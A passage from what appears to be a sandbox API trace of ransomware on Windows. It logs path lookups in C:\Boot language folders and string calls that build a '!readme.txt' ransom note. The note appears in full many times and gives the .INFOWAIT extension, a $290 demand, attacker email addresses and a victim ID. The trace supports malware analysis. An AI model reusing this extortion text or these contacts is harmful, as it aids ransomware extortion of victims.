id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.650] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.652] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\!readme.txt") returned=".txt" [0113.652] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0113.652] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0113.653] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.653] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.653] PathFindFileNameW (pszPath="") returned="" [0113.653] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.653] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\!readme.txt") returned 1 [0113.653] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\!readme.txt") returned 0 [0113.653] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.653] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.656] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\!readme.txt") returned=".txt" [0113.656] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0113.656] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0113.656] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.656] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.656] PathFindFileNameW (pszPath="") returned="" [0113.656] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.656] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\!readme.txt") returned 1 [0113.656] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\!readme.txt") returned 0 [0113.657] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.657] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.665] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\!readme.txt") returned=".txt" [0113.665] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0113.666] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0113.666] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.666] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.666] PathFindFileNameW (pszPath="") returned="" [0113.666] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.666] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\!readme.txt") returned 1 [0113.666] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\!readme.txt") returned 0 [0113.666] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.666] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.669] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\!readme.txt") returned=".txt" [0113.669] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0113.669] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0113.669] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.669] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.669] PathFindFileNameW (pszPath="") returned="" [0113.669] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.669] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\!readme.txt") returned 1 [0113.669] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\!readme.txt") returned 0 [0113.671] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.671] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your 